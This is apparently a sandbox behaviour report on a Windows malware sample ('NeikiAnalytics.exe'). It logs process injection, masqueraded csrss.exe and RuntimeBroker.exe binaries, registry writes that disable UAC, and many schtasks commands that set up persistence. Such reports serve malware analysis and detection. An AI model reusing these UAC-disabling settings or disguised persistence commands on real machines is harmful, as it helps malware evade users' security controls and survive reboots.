Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3672 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 1616 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4356 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4356 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 5096 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 5096 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 4896 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3672 wrote to memory of 2208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\cmd.exe
PID 3672 wrote to memory of 2208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\cmd.exe
PID 2208 wrote to memory of 1996 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2208 wrote to memory of 1996 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2208 wrote to memory of 4932 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe
PID 2208 wrote to memory of 4932 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe
PID 4932 wrote to memory of 4376 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4376 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4556 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4556 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2912 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 2912 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4760 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4760 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 3576 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 4208 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4932 wrote to memory of 1828 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe
PID 4932 wrote to memory of 1828 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe
PID 1828 wrote to memory of 4748 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 1828 wrote to memory of 4748 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 1828 wrote to memory of 3120 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 1828 wrote to memory of 3120 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 4748 wrote to memory of 2456 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe
PID 4748 wrote to memory of 2456 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe
PID 2456 wrote to memory of 3416 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 2456 wrote to memory of 3416 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 2456 wrote to memory of 4964 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 2456 wrote to memory of 4964 N/A C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe C:\Windows\System32\WScript.exe
PID 3416 wrote to memory of 1316 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe
PID 3416 wrote to memory of 1316 N/A C:\Windows\System32\WScript.exe C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics7" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Desktop\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics" /sc ONLOGON /tr "'C:\Users\Public\Desktop\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "77177c57df58a82f289add0cf57ea320_NeikiAnalytics7" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Desktop\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft Office\Updates\TextInputHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Updates\TextInputHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office\Updates\TextInputHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

